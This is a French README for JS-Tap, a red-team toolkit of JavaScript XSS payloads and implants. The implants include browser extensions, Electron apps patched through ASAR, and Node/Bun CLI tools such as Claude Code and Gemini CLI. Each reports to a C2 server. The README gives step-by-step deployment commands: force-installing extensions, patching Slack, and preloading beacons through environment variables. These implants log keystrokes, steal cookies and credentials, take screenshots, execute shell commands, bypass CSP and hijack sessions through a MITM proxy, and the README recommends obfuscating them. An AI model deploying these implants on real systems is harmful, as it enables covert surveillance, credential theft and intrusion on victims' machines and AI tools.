
Balises JavaScript et C2 à utiliser pour les charges utiles XSS ou les implants de post-exploitation sur les serveurs d'applications web ou les logiciels de bureau afin de surveiller les utilisateurs et de maintenir la persistance. Les implants d'extension de navigateur, d'application Electron et d'application Node/Bun sont inclus.
Les changements majeurs sont documentés dans les annonces du projet :
https://github.com/hoodoer/JS-Tap/discussions/categories/announcements
Vous pouvez lire l'article de blog original sur JS-Tap ici :
https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams
Courte démo de JS-Tap version 1 de ShmooCon :
https://youtu.be/IDLMMiqV6ss?si=XunvnVarqSIjx_x0&t=19814
Démo de JS-Tap version 2 à HackSpaceCon, incluant le C2 et comment l'utiliser comme implant post-exploitation :
https://youtu.be/aWvNLJnqObQ?t=11719
Démo du générateur de payload automatique, utilise les soumissions de formulaires interceptées et le trafic réseau JavaScript comme plan pour générer des payloads C2 personnalisés :
https://www.youtube.com/watch?v=cU915mxLfTo
Démo à CactusCon de la v2 incluant la fonctionnalité mimic :
https://youtu.be/O7-zxAmP13o?si=gchYwOJksutCCUPH
Démo des Beacons v3, code bêta :
https://youtu.be/-esrfSHqZeo
Je ne prévois pas de créer des scripts de migration pour la base de données, et les changements de version impliquent souvent des modifications du schéma de la base de données (vérifiez les journaux des modifications). Vous devriez probablement supprimer votre base de données jsTap.db lors des changements de version. Si vous avez des payloads personnalisées sur votre serveur JS-Tap, assurez-vous de les exporter avant de supprimer les fichiers de la base de données.
JS-Tap est une boîte à outils offensive basée sur JavaScript pour les red teams. Il a commencé comme un payload JavaScript générique pour attaquer des applications web via XSS ou comme implant post-exploitation, et a grandi pour inclure des extensions de navigateur et des implants pour applications de bureau Electron — tous rapportant à un seul serveur C2.
Le payload ne nécessite pas que l'utilisateur cible exécutant le payload soit authentifié sur l'application attaquée, et il ne nécessite aucune connaissance préalable de l'application au-delà de trouver un moyen d'injecter le JavaScript dans l'application.
Au lieu d'attaquer le serveur d'application lui-même, le payload JS-Tap se concentre sur le côté client de l'application et instrumente fortement le code côté client. Un système C2 permet d'ajouter des payloads JavaScript personnalisées et de les exécuter comme des tâches sur les clients JS-Tap, offrant un moyen d'attaquer directement le serveur d'application. Pour faciliter une transition plus rapide vers l'attaque du serveur, JS-Tap inclut désormais une fonctionnalité "mimic" pour générer automatiquement des payloads personnalisées et les remettre au système C2.
L'exemple de payload DOM Beacon est contenu dans le fichier telemlib.js dans le répertoire payloads, mais tout fichier dans ce répertoire est servi sans authentification, vous pouvez donc servir plusieurs payloads avec différentes configurations ciblant différentes applications en même temps.
Copiez le fichier telemlib.js sous le nom de fichier de votre choix et modifiez la configuration selon vos besoins. Ce fichier n'a pas été obscurci. Avant de l'utiliser dans un engagement, envisagez sérieusement de modifier le nom des points de terminaison, de supprimer les commentaires et d'obscurcir fortement le payload. Par défaut, l'application utilise des points de terminaison d'API assez évidents (par exemple /loot/screenshot), dans Paramètres de l'application vous pouvez activer l'obscurcissement du trafic.
Assurez-vous de bien examiner la section de configuration ci-dessous avant d'utiliser sur un serveur exposé publiquement.
JS-Tap dispose de cinq types de balises/agents qui se connectent au même serveur :
Les cinq rapportent au même portail serveur JS-Tap, où le butin est consulté et les commandes C2 sont émises.
Le portail inclut également deux outils de clonage de session :
| Outil | Ce qu'il fait |
|---|---|
DOM Beacon autonome : Le payload DOM Beacon (telemlib.js) fonctionne indépendamment. Injectez-le via XSS ou implantez-le dans les fichiers JS de la cible. Il rappelle le serveur JS-Tap par lui-même.
BEX Beacon comme dropper : Le BEX Beacon surveille la navigation et collecte des renseignements passifs (cookies, localStorage, sessionStorage, en-têtes de requêtes, navigation). Depuis le portail JS-Tap, vous pouvez commander à la balise d'injecter un DOM Beacon dans un domaine spécifique. Le DOM Beacon généré par un BEX Beacon obtient des captures d'écran de haute qualité via l'API captureVisibleTab de l'extension (le mode "BEX-Assist").
Sidecar pour l'accès OS : Lorsqu'il est installé, le binaire Sidecar donne au BEX Beacon l'accès au système d'exploitation sous-jacent. Les commandes sont envoyées depuis le portail JS-Tap, relayées via le canal crypté de la balise vers le binaire natif, et les résultats sont renvoyés. Cela transforme une extension de navigateur en un point d'appui pour l'accès au système de fichiers et l'exécution de commandes.
Proxy Navigateur pour la navigation en direct : L'opérateur configure son navigateur pour utiliser le proxy JS-Tap et tout le trafic HTTP/HTTPS est routé via le navigateur de la victime en temps réel. Le proxy effectue la terminaison TLS MITM (avec une CA auto-générée) afin que l'opérateur puisse naviguer sur des sites HTTPS. Le proxy est un "tube passif" — il transmet exactement ce que le navigateur de l'opérateur envoie. Pour une navigation authentifiée, combinez avec un Ticket de Session : le JS-Tap Conductor injecte les cookies, en-têtes et User-Agent de la victime dans le navigateur de l'opérateur, le proxy MITM transmet ceux-ci à la balise, et la balise récupère depuis le réseau de la victime. Cela donne à l'opérateur une session authentifiée depuis l'adresse IP de la victime. Les Beacons BEX, Atom et V8 supportent tous le mode proxy.
Atom Beacon pour les applications Electron : Le patcher atomize.py modifie l'archive ASAR d'une application Electron pour injecter l'agent Atom Beacon. Au lancement, l'agent s'enregistre auprès du serveur JS-Tap, commence la communication C2 cryptée et injecte automatiquement des payloads de rendu dans chaque BrowserWindow que l'application crée. L'agent du processus principal fournit un accès OS natif (système de fichiers, exécution de commandes) tandis que les payloads de rendu collectent des données au niveau DOM (frappes clavier, entrées, formulaires, cookies, stockage, appels réseau). Parce qu'il s'exécute dans le processus principal Electron avec un accès complet Node.js, il n'a pas besoin de binaire sidecar séparé — la navigation dans les fichiers, la lecture de fichiers et les commandes shell sont intégrées.
Remarque : la capacité à recevoir des copies des appels API XHR et Fetch fonctionne en mode piège. En mode implant, seule l'API Fetch peut être copiée actuellement. L'interception des soumissions de formulaires peut parfois être manquée en mode implant.
browser.cookies.getAll(), avec métadonnées : httpOnly, secure, sameSite, path, domain, expiration)Agent du processus principal (runtime Node.js) :
session.cookies (y compris httpOnly, avec métadonnées)webRequest.onBeforeSendHeaderswebRequest.onHeadersReceiveddesktopCapturer d'Electron (capture la sortie composée par GPU)Payloads de rendu (injectées dans toutes les fenêtres de l'application) :
document.cookie, suivi des modifications)process.stdin (bufferisé en chaînes lisibles, vidé toutes les 2 secondes ou sur Entrée)Le payload DOM Beacon a deux modes de fonctionnement. Le mode piège ou implant est défini dans la fonction initGlobals(), recherchez la variable window.taperMode.
Le mode piège est généralement le mode que vous utiliseriez comme payload XSS. L'exécution des payloads XSS est souvent éphémère, l'utilisateur qui consulte la page où le payload JavaScript malveillant s'exécute peut fermer l'onglet du navigateur (la page n'est pas intéressante) ou naviguer ailleurs dans l'application. Dans les deux cas, le payload sera supprimé de la mémoire et cessera de fonctionner. JS-Tap doit s'exécuter longtemps ou vous ne collecterez pas de données utiles.
Le mode piège combat cela en établissant une persistance en utilisant une technique de piège iFrame. Le payload JS-Tap créera une iFrame en plein écran et démarrera l'utilisateur ailleurs dans l'application. Cette page de départ doit être configurée à l'avance. Dans la fonction initGlobals(), recherchez la variable window.taperstartingPage et définissez-la à un emplacement de départ approprié dans l'application cible.
En mode piège, JS-Tap surveille l'emplacement de l'utilisateur dans le piège iFrame et usurpe la barre d'adresse du navigateur pour correspondre à l'emplacement de l'iFrame.
Notez que l'application ciblée doit autoriser l'iFraming depuis la même origine ou soi-même si elle définit des en-têtes CSP ou X-Frame-Options. Les anti-iFrame basés sur JavaScript peuvent également empêcher le fonctionnement des pièges iFrame.
Remarque, j'ai eu de bons résultats en utilisant le mode Piège comme implant post-exploitation dans des endroits très spécifiques d'une application, ou lorsque je ne suis pas sûr des ressources utilisées par l'application dans la section authentifiée. Vous pouvez placer un implant sur la page de connexion, avec le mode piège et la page de départ du mode piège définie sur window.location.href (c'est-à-dire l'emplacement actuel). Le piège se déclenchera lorsque l'utilisateur visitera la page de connexion, et ils continueront probablement dans les parties authentifiées de l'application à l'intérieur du piège iFrame.
Un utilisateur qui rafraîchit la page brisera/sortira généralement du piège iFrame.
Le mode implant serait généralement utilisé si vous ajoutez directement le payload dans l'application ciblée. Peut-être avez-vous un shell sur le serveur qui héberge les fichiers JavaScript de l'application. Ajoutez le payload à un fichier JavaScript utilisé dans toute l'application (jQuery, main.js, etc.). Le fichier idéal dépend vraiment de l'application en question et de la façon dont elle utilise les fichiers JavaScript. Le mode implant ne nécessite pas de configurer une page de départ et n'utilise pas la technique du piège iFrame.
Un utilisateur qui rafraîchit la page en mode implant continuera généralement à exécuter le payload JS-Tap.
Le mode implant est plus susceptible de fonctionner avec les applications car il n'implique pas tout le code supplémentaire de persistance iFrame.
Le BEX Beacon est une version extension de navigateur de JS-Tap. Il sert deux objectifs principaux :
Le BEX Beacon utilise une communication cryptée au niveau application (AES-GCM) avec le serveur JS-Tap. Toutes les données de télémétrie et les réponses de tâches sont cryptées de bout en bout via un seul point de terminaison, rendant le trafic réseau plus difficile à identifier.
La balise inclut également des fonctionnalités comme le retrait des en-têtes CSP/X-Frame-Options (via des règles declarativeNetRequest) pour faciliter l'injection JS-Tap dans des environnements stricts. Pour les cibles qui utilisent des balises <meta http-equiv="Content-Security-Policy"> (qui ne peuvent pas être retirées via des règles d'en-tête car elles sont intégrées dans le HTML), le BEX Beacon utilise une approche d'injection groupée — telemlib.js est intégré dans l'extension et injecté via chrome.scripting.executeScript({ files }), ce qui contourne complètement le CSP au niveau de la page grâce au mécanisme d'injection privilégié de l'extension du navigateur.
Lorsqu'il est associé à l'hôte de messagerie natif optionnel Sidecar, le BEX Beacon obtient un accès au niveau OS sur la machine cible. Voir la section Sidecar ci-dessous.
L'Atom Beacon est un implant pour les applications de bureau Electron. Il fonctionne comme un agent double couche — un agent de processus principal privilégié avec un accès complet au runtime Node.js, plus des payloads de rendu automatiquement injectées dans chaque BrowserWindow que l'application crée.
Contrairement à la combinaison BEX Beacon + Sidecar, l'Atom Beacon n'a pas besoin d'un binaire natif séparé pour l'accès OS — les opérations sur le système de fichiers, l'exécution de commandes et la capture d'écran sont toutes intégrées dans l'agent du processus principal en utilisant les API Node.js.
L'Atom Beacon utilise le même protocole de communication crypté que le BEX Beacon (cryptage AES-GCM sur un seul point de terminaison, avec échange de clés RSA-OAEP). Il s'enregistre comme un type de client distinct (atom-beacon) et apparaît dans la vue Apps aux côtés des DOM Beacons.Key capabilities:
webContents.executeJavaScript(), y compris les fenêtres créées après le lancement initial. Les payloads du renderer capturent les frappes, entrées, formulaires, cookies, stockage, URLs, HTML et appels réseau XHR/Fetch.desktopCapturer d'Electron, qui produit des captures parfaites incluant le contenu composite GPU. Supporte la capture manuelle (via l'interface du portail), la capture automatique heuristique (au focus de la fenêtre, à la navigation et aux nouvelles fenêtres), et des périodes de refroidissement configurables.webRequest.onBeforeSendHeaders et les en-têtes de réponse via webRequest.onHeadersReceived au niveau de la session Electron.session.cookies.get().Voir Atom Beacon (Correction des applications Electron) ci-dessous pour la configuration et l'utilisation.
Le V8 Beacon est un implant pour les applications en ligne de commande basées sur Node.js et Bun. Contrairement à l'Atom Beacon qui nécessite de patcher l'archive ASAR d'une application, le V8 Beacon s'injecte via des variables d'environnement — aucune modification de l'application cible n'est nécessaire.
Environnements d'exécution supportés :
export NODE_OPTIONS="--require /path/to/v8-beacon.js" (testé avec Gemini CLI et d'autres outils Node.js)export BUN_OPTIONS="--preload /path/to/v8-beacon.js" (testé avec Claude Code)Le beacon utilise le même protocole de communication chiffré que les BEX et Atom Beacons (chiffrement AES-GCM sur un seul endpoint, avec échange de clés RSA-OAEP). Il s'enregistre en tant que type de client v8-beacon et apparaît dans la vue Nœuds du portail.
Fonctionnalités clés :
http.request, https.request, globalThis.fetch et http2.connect pour capturer tous les appels réseau sortants avec les corps de requête/réponse complets, en-têtes et codes d'état. Les réponses en streaming SSE (utilisées par les API d'IA comme l'API Messages d'Anthropic et l'API Gemini de Google) sont capturées en dérivant le flux de réponse. Les réponses compressées Gzip sont automatiquement décompressées.process.stdin à plusieurs niveaux (push, emit, tty.ReadStream, readline) pour capturer les entrées utilisateur. Les frappes sont mises en tampon en chaînes lisibles et vidées toutes les 2 secondes (ou immédiatement sur Entrée).Voir V8 Beacon (Applications CLI Node.js / Bun) ci-dessous pour la configuration et l'utilisation.
JS-Tap utilise trois méthodes distinctes pour capturer des captures d'écran :
Utilisé par défaut dans les implants DOM Beacon. Il tente de reconstruire la page en un élément canvas et de l'exporter en tant qu'image. Cela fonctionne bien pour la plupart des sites mais peut rencontrer des difficultés avec les applications modernes complexes (comme Reddit) ou les images cross-origin.
Lorsqu'un implant DOM Beacon est généré par un BEX Beacon, il accède aux API haut niveau du navigateur de l'extension. Dans ce mode, l'implant demande au beacon de prendre la capture d'écran en utilisant chrome.tabs.captureVisibleTab. Cela produit une capture parfaite et de haute qualité qui contourne toutes les limitations CSS/DOM de html2canvas. C'est le mode recommandé pour les cibles complexes.
L'Atom Beacon utilise l'API desktopCapturer d'Electron pour capturer les captures d'écran de fenêtres. Cela capture la sortie réelle de la fenêtre composite GPU, produisant des captures d'écran parfaites d'applications Electron complexes (Slack, VS Code, Discord, etc.). Les captures d'écran peuvent être déclenchées manuellement depuis le portail, ou automatiquement via des heuristiques configurables (changements de focus de fenêtre, événements de navigation, création de nouvelle fenêtre).
Nécessite python3. Un grand nombre de dépendances sont requises pour le jsTapServer, vous êtes fortement encouragé à utiliser des environnements virtuels python pour isoler les bibliothèques du logiciel serveur (ou toute autre méthode d'isolation de votre choix).
Exemple :``` mkdir jsTapEnvironment python3 -m venv jsTapEnvironment source jsTapEnvironment/bin/activate cd jsTapEnvironment git clone https://github.com/hoodoer/JS-Tap cd JS-Tap pip3 install -r requirements.txt
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -sha256 -days 365 -nodes
python3 jsTapServer.py #or
./jstapRun.sh
Le serveur génère automatiquement un mot de passe administrateur aléatoire à chaque démarrage et l'affiche dans la console. Les identifiants sont également sauvegardés dans `adminCreds.txt` à la racine du projet. Pendant le développement/les tests, il est sûr de supprimer `jsTap.db` entre les exécutions — il se régénère automatiquement au démarrage.
### Construction (Build unifié)
Le script de build unifié à la racine du projet gère tout : la création des extensions pour Chrome et Firefox, leur empaquetage pour le déploiement, la compilation croisée optionnelle du binaire sidecar, et la production de bundles de déploiement autonomes que vous pouvez copier sur les machines cibles.
#### Prérequis
- **Node.js** (pour les builds d'extension WXT et l'empaquetage .crx)
- **Go** (1.21+) — nécessaire uniquement si le sidecar est activé
- **Python 3**
#### Démarrage rapide
1. Configurez `bex-beacon/config.json` (voir [Configuration](#bex-beacon-configuration-configjson) ci-dessous).
2. Installez les dépendances Node (première fois seulement) :```bash
cd bex-beacon && npm install && cd ..
Ceci génère des extensions Chrome MV3 et Firefox MV2, les empaquette en `.crx`/`.xpi`, compile les binaires sidecar (si activé), et produit des bundles de déploiement. Le script de construction incrémente automatiquement le numéro de version patch de l'extension à chaque build (par ex. `2.1.5` → `2.1.6`) dans `bex-beacon/config.json` pour garantir que les mécanismes d'installation forcée du navigateur (politique d'entreprise Chrome/Edge) récupèrent les versions mises à jour.
#### Drapeaux de construction
| Drapeau | Effet |
|---|---|
| `--ext-only` | Construire uniquement les extensions, ignorer le sidecar |
| `--sidecar-only` | Construire uniquement le sidecar, ignorer les extensions |
| `--legacy` | Construire également les extensions legacy (depuis `src-chrome-extension/` et `src-firefox-extension/`) |
#### Sortie de construction```
build/
chrome-mv3/ # Unpacked Chrome extension (for development)
firefox-mv2/ # Unpacked Firefox extension (for development)
extension.crx # Packed Chrome extension (if key.pem configured)
extension.xpi # Packed Firefox extension
sidecar/ # Sidecar binaries + manifests (when enabled)
deploy/ # Self-contained deploy bundles
chrome-linux.tar.gz
chrome-mac.tar.gz
chrome-windows.zip
chromium-linux.tar.gz
chromium-mac.tar.gz
firefox-linux.tar.gz
firefox-mac.tar.gz
firefox-windows.zip
Pour une utilisation en production, il est recommandé de générer une paire de clés statique afin que l'ID de votre extension Chrome soit déterministe d'une version à l'autre. Ceci est nécessaire pour que les manifestes de messagerie native du sidecar puissent autoriser l'extension correcte.```bash
openssl genrsa 2048 > key.pem
openssl rsa -in key.pem -pubout -outform DER | base64 -w0
Ajoutez la sortie base64 à `extension_ids.chrome_key` et définissez `extension_ids.chrome_key_pem` sur `key.pem` dans `bex-beacon/config.json`. Le script de build calculera et vérifiera automatiquement l'ID d'extension Chrome de 32 caractères.
Les ID d'extension Firefox sont définis directement via `extension_ids.firefox_extension_id` (par ex. `bex-beacon@jstap`).
### Déploiement sur les cibles
Chaque bundle de déploiement est une **archive autonome** — un seul fichier à copier sur la machine cible.
**Flux de travail :**
1. Copiez l'archive appropriée sur la cible (par ex. `chrome-linux.tar.gz`)
2. Extrayez-la
3. Exécutez le script d'installation```bash
# Linux/macOS
tar xzf chrome-linux.tar.gz
cd chrome-linux
./install.sh
# Windows
# Extract chrome-windows.zip, then run:
install.bat
Ce que font les scripts d'installation :
Lorsque sidecar est activé, les scripts d'installation installent également le binaire sidecar et écrivent le manifeste de messagerie native dans le bon emplacement spécifique au navigateur/OS. L'installation du sidecar est au niveau utilisateur (pas de sudo requis).
Détails d'installation pour Chrome/Chromium (Linux) :
ExtensionSettings avec mode force_installed)/opt/jstap//etc/chromium/policies/managed/ (Chromium) ou /etc/opt/chrome/policies/managed/ (Chrome)Détails d'installation pour Chrome/Chromium (macOS) :
/Library/Application Support/JSTap/Chaque bundle de déploiement inclut un script de désinstallation (uninstall.sh ou uninstall.bat) qui supprime proprement tout ce que le script d'installation a déployé.```bash
./uninstall.sh
uninstall.bat
**Ce que les scripts de désinstallation suppriment :**
| Composant | Ce qui est supprimé |
|---|---|
| **Extension Chrome/Chromium** (Linux) | JSON de politique d'entreprise + CRX + manifeste de mise à jour depuis les répertoires système (nécessite `sudo`) |
| **Extension Chrome/Chromium** (macOS) | JSON d'extension externe + CRX depuis les répertoires système (nécessite `sudo`) |
| **Extension Chrome** (Windows) | Entrée de registre + fichiers d'extension depuis `%LOCALAPPDATA%\JSTap` |
| **Extension Firefox** | `.xpi` depuis le répertoire `extensions/` du profil Firefox |
| **Sidecar** (lorsqu'il est présent) | Binaire depuis `~/.local/bin/`, fichier JSON de manifeste de messagerie native et entrées de registre (Windows) |
Après la désinstallation, redémarrez le navigateur pour que les modifications prennent effet.
#### Utilisation en développement
Pour le développement et les tests, vous pouvez ignorer les bundles de déploiement et charger les extensions directement :
- **Chrome :** `chrome://extensions` -> Activer le mode développeur -> Charger l'extension non empaquetée -> sélectionner `build/chrome-mv3/`
- **Firefox :** `about:debugging` -> Ce Firefox -> Charger un module complémentaire temporaire -> sélectionner un fichier dans `build/firefox-mv2/`
### Sidecar (Hôte de messagerie native)
Le Sidecar est **optionnel**. C'est un binaire Go qui communique avec le BEX Beacon via l'API de messagerie native du navigateur pour fournir un accès au niveau du système (navigation de fichiers, lecture de fichiers, exécution de commandes).
#### Activation et construction
1. Définir `sidecar.enabled: true` dans `bex-beacon/config.json`
2. Configurer les identifiants d'extension dans `extension_ids` (voir [Identifiants d'extension statiques](#static-extension-ids) ci-dessus)
3. Exécuter la construction unifiée :```bash
python3 buildAll.py
Le script de construction synchronise automatiquement les identifiants des extensions depuis la configuration centrale vers sidecar/config.json, compile en croisé les binaires du sidecar pour toutes les plateformes, et inclut le binaire correct dans chaque bundle de déploiement.
Si vous devez reconstruire uniquement le sidecar sans reconstruire les extensions :```bash python3 buildAll.py --sidecar-only
Ou construisez-le directement (il se rabattra sur la lecture de `../bex-beacon/config.json` si aucun fichier de configuration local n'existe) :```bash
cd sidecar
python3 buildSidecar.py
Pour les itérations de test pendant le développement, utilisez le script de désinstallation spécifique au sidecar pour supprimer le binaire et tous les manifestes de messagerie native :```bash ./sidecar/uninstall.sh
Cela supprime le binaire de `~/.local/bin/` et le JSON du manifeste de tous les répertoires de manifeste Chrome/Firefox (Linux et macOS).
Pour les systèmes déployés, utilisez plutôt `uninstall.sh` ou `uninstall.bat` du bundle — cela supprime à la fois l'extension et le sidecar en une seule étape. Voir [Désinstallation](#uninstalling) ci-dessus.
#### Comment fonctionne Sidecar```
JS-Tap Portal UI
│ POST /api/sidecar/command
▼
JS-Tap Server (queues SIDECAR_COMMAND task)
│ Beacon polls on heartbeat
▼
BEX Beacon (background service worker)
│ browser.runtime.connectNative()
▼
Sidecar Go Binary (native messaging, stdio)
│ Executes command, returns result
▼
BEX Beacon (encrypts result, sends to server)
│ POST /client/metrics/<uuid>
▼
JS-Tap Server (stores SidecarResult)
│ UI polls GET /api/sidecar/result/<requestId>
▼
JS-Tap Portal UI (displays result)
La communication entre le beacon et le binaire sidecar utilise le protocole de messagerie native — chaque message est préfixé par une longueur de 4 octets en little-endian, suivie d'une charge utile JSON.
Commandes Sidecar :
L'implant Beacon Atom est injecté dans les applications de bureau Electron à l'aide du patcher atomize.py. Il modifie l'archive ASAR de l'application (ou le répertoire décompressé de l'application) pour préfixer le code de l'agent au point d'entrée du processus principal.
resources/app.asar ou le répertoire resources/app/ de l'applicationSous Linux et macOS, atomize.py peut être exécuté directement avec Python 3. Sous Windows, Python peut ne pas être installé. Vous pouvez construire un atomize.exe autonome à l'aide de PyInstaller :```bash
cd atom-beacon
pip install pyinstaller
pyinstaller atomize.spec
Cela produit `dist/atomize.exe` — un exécutable fichier unique qui regroupe Python, la bibliothèque ASAR et les fichiers de payload. Aucune installation de Python n'est nécessaire sur la machine Windows cible. L'utilisation est identique à la version Python :```
atomize.exe --detect-only C:\Users\target\AppData\Local\slack\app-4.40.0
atomize.exe --server https://10.0.0.1:8444 C:\Users\target\AppData\Local\slack\app-4.40.0
Note : PyInstaller ne peut construire que pour le système d'exploitation sur lequel il s'exécute. Pour construire un
.exeWindows, exécutez PyInstaller sur une machine Windows (ou un VM/CI runner Windows).
Windows pip dépannage :
Si pip n'est pas reconnu sous Windows mais que python fonctionne, utilisez python -m pip à la place :```
python -m pip install pyinstaller
Si `pyinstaller` n'est pas trouvé après l'installation, utilisez `python -m PyInstaller` (sensible à la casse):```
python -m PyInstaller atomize.spec
Si pip lui-même n'est pas disponible, assurez-vous que Python a été installé avec la case "Ajouter Python au PATH" cochée. Vous pouvez aussi amorcer pip manuellement :``` python -m ensurepip --upgrade
#### Analyse d'une cible
Avant de patcher, utilisez `--detect-only` pour analyser la structure de l'application cible, les paramètres de sécurité et le statut de signature de code :```bash
cd atom-beacon
python3 atomize.py --detect-only /Applications/Slack.app
Ce rapport indique :
package.json)cd atom-beacon python3 atomize.py --server https://10.0.0.1:8444 /Applications/Slack.app
Options:
| Flag | Description |
|---|---|
| `--server URL` | URL du serveur JS-Tap (requis pour le patching) |
| `--tag TAG` | Étiquette du client, affichée dans le portail (par défaut : `atom`) |
| `--detect-only` | Analyser sans patcher |
| `--no-backup` | Ignorer la création d'une sauvegarde `.bak` de l'ASAR d'origine |
| `--output PATH` | Écrire l'ASAR patché vers un chemin différent au lieu de le faire sur place |
Le patcher automatiquement :
- Localise `app.asar` ou `app/` dans les bundles `.app` (macOS), les répertoires `resources/` (Linux/Windows), ou accepte les chemins directs
- Crée une sauvegarde `.bak` avant la modification (sauf si `--no-backup`)
- Détecte et supprime les patches existants avant de re-patch
- Génère un préfixe IPC unique par patch pour éviter les collisions
- Intègre la charge utile du rendu comme constante de chaîne à l'intérieur de l'agent (injection en un seul fichier)
#### Notes après patch
| Plateforme | Notes |
|---|---|
| **macOS** | La signature de code est invalidée. Si l'application affiche un avertissement « endommagée », exécutez `xattr -cr /chemin/vers/App.app` ou resignez avec `codesign --force --deep --sign - /chemin/vers/App.app`. |
| **Windows** | SmartScreen peut avertir lors du téléchargement initial, mais les applications déjà installées ne sont pas revérifiées. Le patching sur place fonctionne sans problème. |
| **Linux** | Aucune application de signature de code. L'application patchée s'exécute normalement. |
#### Désassemblage (Rétablissement)
Pour revenir à une application patchée, restaurez le fichier `.bak` :```bash
cp /path/to/resources/app.asar.bak /path/to/resources/app.asar
Target Electron App (patched) │ app.asar main entry point ▼ Atom Beacon Agent (main process, Node.js) │ Registers with JS-Tap server │ RSA-OAEP key exchange → AES-GCM encrypted channel ▼ Heartbeat Loop (jittered interval) ├── Poll for tasks (screenshot commands, shell commands, etc.) ├── Flush renderer data (keystrokes, inputs, cookies, storage, network calls) ├── Exfiltrate queued data (encrypted, single endpoint) └── Report status (tracked windows, host info)
Renderer Injection (automatic) │ webContents.executeJavaScript() on every BrowserWindow ▼ Renderer Payload (per-window) ├── Keylogger (keydown capture, debounced flush) ├── Input/Form capture ├── Cookie/localStorage/sessionStorage monitoring ├── URL tracking (including SPA navigation) ├── XHR/Fetch monkey-patching └── HTML source capture
L'agent communique avec le serveur via le même point de terminaison chiffré utilisé par les BEX Beacons (`POST /client/metrics/<uuid>`). Toutes les données sont chiffrées en AES-GCM avec des clés établies lors de l'enregistrement.
#### Utilisation du panneau Outils (Atom Beacon)
Lorsqu'un client Atom Beacon est sélectionné dans le portail, le panneau **Outils** propose :
**Panneau Proxy navigateur** — Démarrer/arrêter le proxy, télécharger le certificat CA et générer des tickets de proxy. Les requêtes sont routées via le contexte réseau de l'application Electron.
**Onglet Explorateur de fichiers** — Parcourir le système de fichiers de la cible et lire des fichiers, identique à l'explorateur de fichiers BEX Sidecar mais exécuté nativement dans le processus Electron.
**Onglet Shell** — Exécuter des commandes sur la cible, identique au shell BEX Sidecar mais exécuté nativement via `child_process` de Node.js.
**Onglet Captures d'écran** — Uniquement pour Atom Beacon. Fournit :
- Bouton **Capture Now** pour des captures d'écran manuelles à la demande
- **Heuristiques de capture automatique** — bascules configurables pour les déclencheurs automatiques de captures d'écran :
- *Capture sur mise au point de la fenêtre* — capture lorsque l'utilisateur bascule entre les fenêtres d'applications
- *Capture sur navigation* — capture lors de la navigation de page (y compris la navigation SPA comme le changement de canal dans Slack)
- *Capture sur nouvelle fenêtre* — capture lorsque l'application ouvre une nouvelle fenêtre
- **Temps de recharge** — secondes minimales entre les captures automatiques par fenêtre (empêche l'inondation)
La capture automatique utilise des déclencheurs débordés — pour la navigation SPA, la capture d'écran est prise 3 secondes après le dernier événement de navigation/changement de titre, garantissant que le contenu arrivé est capturé plutôt que la page de départ.
Le badge du panneau Outils affiche **Intégré** pour les clients Atom Beacon (car l'accès au système d'exploitation est natif à l'agent, ne dépendant pas d'un binaire sidecar externe).
### V8 Beacon (applications CLI Node.js / Bun)
L'implant V8 Beacon est injecté dans les applications Node.js et Bun CLI via des variables d'environnement. Aucune modification ni patching de l'application cible n'est nécessaire.
#### Construction du Beacon```bash
cd v8-beacon
python3 v8ize.py --server https://10.0.0.1:8444 --tag gemini
Options:
| Option | Description |
|---|---|
--server URL | URL du serveur JS-Tap (obligatoire) |
--tag TAG | Étiquette client, affichée dans le portail (par défaut: ) |
Ceci génère un fichier v8-beacon.js autonome avec l'URL du serveur et l'étiquette intégrées.
Pour les applications Node.js (Gemini CLI, OpenCode, outils Node.js personnalisés, etc.):```bash export NODE_OPTIONS="--require /path/to/v8-beacon.js" gemini # or any Node.js CLI tool
**Pour les applications Bun** (Claude Code, etc.):```bash
export BUN_OPTIONS="--preload /path/to/v8-beacon.js"
claude # or any Bun-based CLI tool
Vous pouvez définir les deux variables d'environnement simultanément pour couvrir les deux environnements d'exécution :```bash export NODE_OPTIONS="--require /path/to/v8-beacon.js" export BUN_OPTIONS="--preload /path/to/v8-beacon.js"
Le beacon se charge avant le code propre de l'application et commence à instrumenter l'environnement d'exécution. L'application cible fonctionne normalement — le beacon est invisible pour l'utilisateur.
#### Comment ça fonctionne```
Target CLI Application (e.g. claude, gemini)
│ --require / --preload loads v8-beacon.js
▼
V8 Beacon Agent (same process)
│ Registers with JS-Tap server
│ RSA-OAEP key exchange → AES-GCM encrypted channel
▼
Heartbeat Loop (jittered interval)
├── Poll for tasks (shell commands, file browser, proxy start/stop, plugins, etc.)
├── Flush captured data (network calls, keystrokes)
├── Exfiltrate queued data (encrypted, single endpoint)
└── Report status (host info, capabilities, proxy state)
Network Hooks (automatic)
├── http.request / https.request (monkey-patched)
├── globalThis.fetch (monkey-patched)
├── http2.connect (monkey-patched)
└── Module._load intercept for node-fetch
Stdin Hooks (automatic)
├── process.stdin.push / emit
├── tty.ReadStream.prototype.push
└── readline.createInterface
Certains outils CLI se génèrent eux-mêmes en tant que processus enfants. Par exemple, Gemini CLI exécute l'authentification dans le processus parent, puis génère un processus enfant node gemini pour la session interactive (où les appels API réels ont lieu).
Le V8 Beacon gère cela automatiquement :
__V8_BEACON_ACTIVE et __V8_BEACON_RUNTIME__V8_BEACON_UUID, __V8_BEACON_SENDKEY, __V8_BEACON_RECVKEY)npm, npx, yarn, tsc, eslint, etc.) sont toujours ignorésCela signifie qu'une session Gemini CLI avec processus parent + enfant apparaît comme un seul client dans le portail avec tous les événements unifiés.
Lorsqu'un client V8 Beacon est sélectionné dans le portail (sous l'onglet Nœuds), le panneau Outils fournit :
child_process de Node.js.Le badge du panneau Outils affiche Intégré (l'accès au système d'exploitation est natif à l'agent).
| Application | Runtime | Statut |
|---|---|---|
| Gemini CLI | Node.js | Interception réseau complète (y compris SSE streamGenerateContent), keylogging, accès fichier/shell |
| Claude Code | Bun 1.3.10 | Interception réseau complète (y compris streaming SSE /v1/messages), keylogging, accès fichier/shell |
Si vous exécutez JS-Tap avec le script jsTapServer.py en mode mono-thread (idéal pour les tests/démos), il existe des options de configuration directement dans le script jsTapServer.py.
Pour une utilisation en production, JS-Tap doit être hébergé sur un serveur accessible publiquement avec un certificat SSL approprié provenant d'un organisme comme Let's Encrypt. La façon la plus simple de déployer cela est de laisser NGINX agir comme front-end pour JS-Tap et gérer le certificat Let's Encrypt, puis de transférer le trafic déchiffré vers JS-Tap en tant que trafic HTTP localement (c'est-à-dire que NGINX et JS-Tap tournent sur le même VPS).
